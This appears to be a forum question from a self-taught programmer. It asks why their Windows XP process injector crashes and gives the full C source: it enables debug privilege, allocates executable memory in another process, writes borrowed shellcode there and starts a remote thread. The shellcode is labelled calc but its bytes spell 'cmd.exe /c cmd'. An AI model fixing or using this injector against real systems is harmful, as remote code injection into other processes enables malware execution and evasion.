title: Windows Process injection crash
body: <p>this is my first semi-major C project. I'm a self taught programmer so if my code has any major flaws OR if you happen to have any tips for me, please point them out, I'm very eager to learn. Thank you.</p>
  
  <p>Anyway, I decided to code a process injector for windows, as title says, and I every time I attempt to inject the windows XP SP2 calc into designated process, it crashes. The reason I had decided to make it XP based was because this is a test version/POC/whatever. </p>
  
  <p>Is this because the shellcode is only applicable for specific processes?
  I had attempted different processes, explorer.exe, firefox.exe, etc. Still crashes.
  Oh, and FYI my ASM isn't the best so I borrowed some shellcode from shell-storm</p>
  
  <p>Also, how does the code look? I had some problems understanding the MSDN API for some of the psapi / windows parameters. It seemed kind of vague, and it was kind of hard to find examples online for some of my questions.</p>
  
  <pre><code>#include &lt;windows.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;psapi.h&gt;
  #define BYTESIZE 100
  
  void ProcessIdentf(DWORD ProcessID);
  //Required for Process Handling rights
  int SeDebugMode(HANDLE ProcessEnabled, LPCTSTR Base_Name);
  
  int main(void){
      //x86 | Windows XP SP2 | calc.exe call
      //POC data
      unsigned char call_calc[] =
      "\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
      "\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
      "\x65\x20\x2f\x63\x20\x63\x6d\x64";
      //Process HANDLE &amp;&amp; Process Identifier WORD
      HANDLE FfHandle;
      int ProcID;
      //VirtualAllocMemPnter
      LPVOID lpv = NULL;
      //Typecasted pointer to Shellcode
      char* shellptr = call_calc;
      //Handle for CreateRemoteThread function
      HANDLE ControlStructRemote;
      //Number of bytes successfully executed
      SIZE_T bytescom;
      //Data for Process enumeration
      DWORD xyProcesses[1024]; //Max_Proc
      DWORD abProcesses, cntbNeeded;
      unsigned int c;
      printf("POC version x00.\nInjects example x86 shellcode into process.\n");
      SeDebugMode(GetCurrentProcess(), SE_DEBUG_NAME);
      printf("SE_DEBUG_PRIVILEGE successfully enabled.\nPrinting process' eligable for  injection\n");
      Sleep(10000);
      if(!EnumProcesses(xyProcesses, sizeof(xyProcesses), &amp;cntbNeeded)){
          exit(1);
      }
      abProcesses = cntbNeeded / sizeof(DWORD);
      //Enumerate processes owned by current user
      for(c = 0; c &amp;lt; abProcesses; c++){
          if(xyProcesses[c] != 0){
              ProcessIdentf(xyProcesses[c]);
          }
      }
      printf("Process PID required\n");
      scanf("%d", &amp;ProcID);
      FfHandle = OpenProcess(PROCESS_ALL_ACCESS,
      FALSE,
      ProcID);
      lpv = VirtualAllocEx(FfHandle,
      NULL,
      BYTESIZE,
      MEM_COMMIT,
      0x40); //PAGE_EXECUTE_READWRITE
      if(WriteProcessMemory(FfHandle, lpv, &amp;shellptr, sizeof(shellptr), &amp;bytescom) != 0){
          ControlStructRemote = CreateRemoteThread(FfHandle,
          0,
          0,
          (DWORD (__stdcall*) (void*)) shellptr,
          0,
          0,
          0);
          if(ControlStructRemote){
              printf("POC shellcode successful.\n");
          }
          else{
              printf("Failure, CreateRemoteThread could not spawn a remote thread or failed to exec in target process\n");
          }
      }
      return 0;
  }
  
  void ProcessIdentf(DWORD ProcID){
      //Enumerates PID and modules. Prints. Implement in loop
      //unicode char, max ntfs datafile
      TCHAR szProcessname[MAX_PATH] = TEXT("&amp;lt;unknown&amp;gt;");
      //open proc handle
      HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
      FALSE, ProcID);
      //enum modules
      if(NULL != hProcess){
          HMODULE hMod;
          DWORD cbNeed;
          if(EnumProcessModules(hProcess,&amp;hMod, sizeof(hMod),&amp;cbNeed))
          {
              GetModuleBaseName(hProcess, hMod, szProcessname,
              sizeof(szProcessname)/sizeof(TCHAR));
          }
      }
      //print PID
      printf("%s PID: %u\n", szProcessname, ProcID);
      //close processhandle
      CloseHandle(hProcess);
  }
  
  int SeDebugMode(HANDLE xyProcess, LPCTSTR DebugPriv){
      HANDLE hTokenProc;
      LUID xDebugVal;
      TOKEN_PRIVILEGES tPriv;
      if(OpenProcessToken(xyProcess,
      TOKEN_ADJUST_PRIVILEGES,
      &amp;hTokenProc)){
          if(LookupPrivilegeValue(NULL, DebugPriv, &amp;xDebugVal)){
              tPriv.PrivilegeCount = 1;
              tPriv.Privileges[0].Luid = xDebugVal;
              tPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
              AdjustTokenPrivileges(hTokenProc,
              FALSE,
              &amp;tPriv,
              sizeof(TOKEN_PRIVILEGES),
              NULL,
              NULL
              );
              if(GetLastError() == ERROR_SUCCESS){
                  return TRUE;
              }
          }
      }
      return FALSE;
  }
  </code></pre>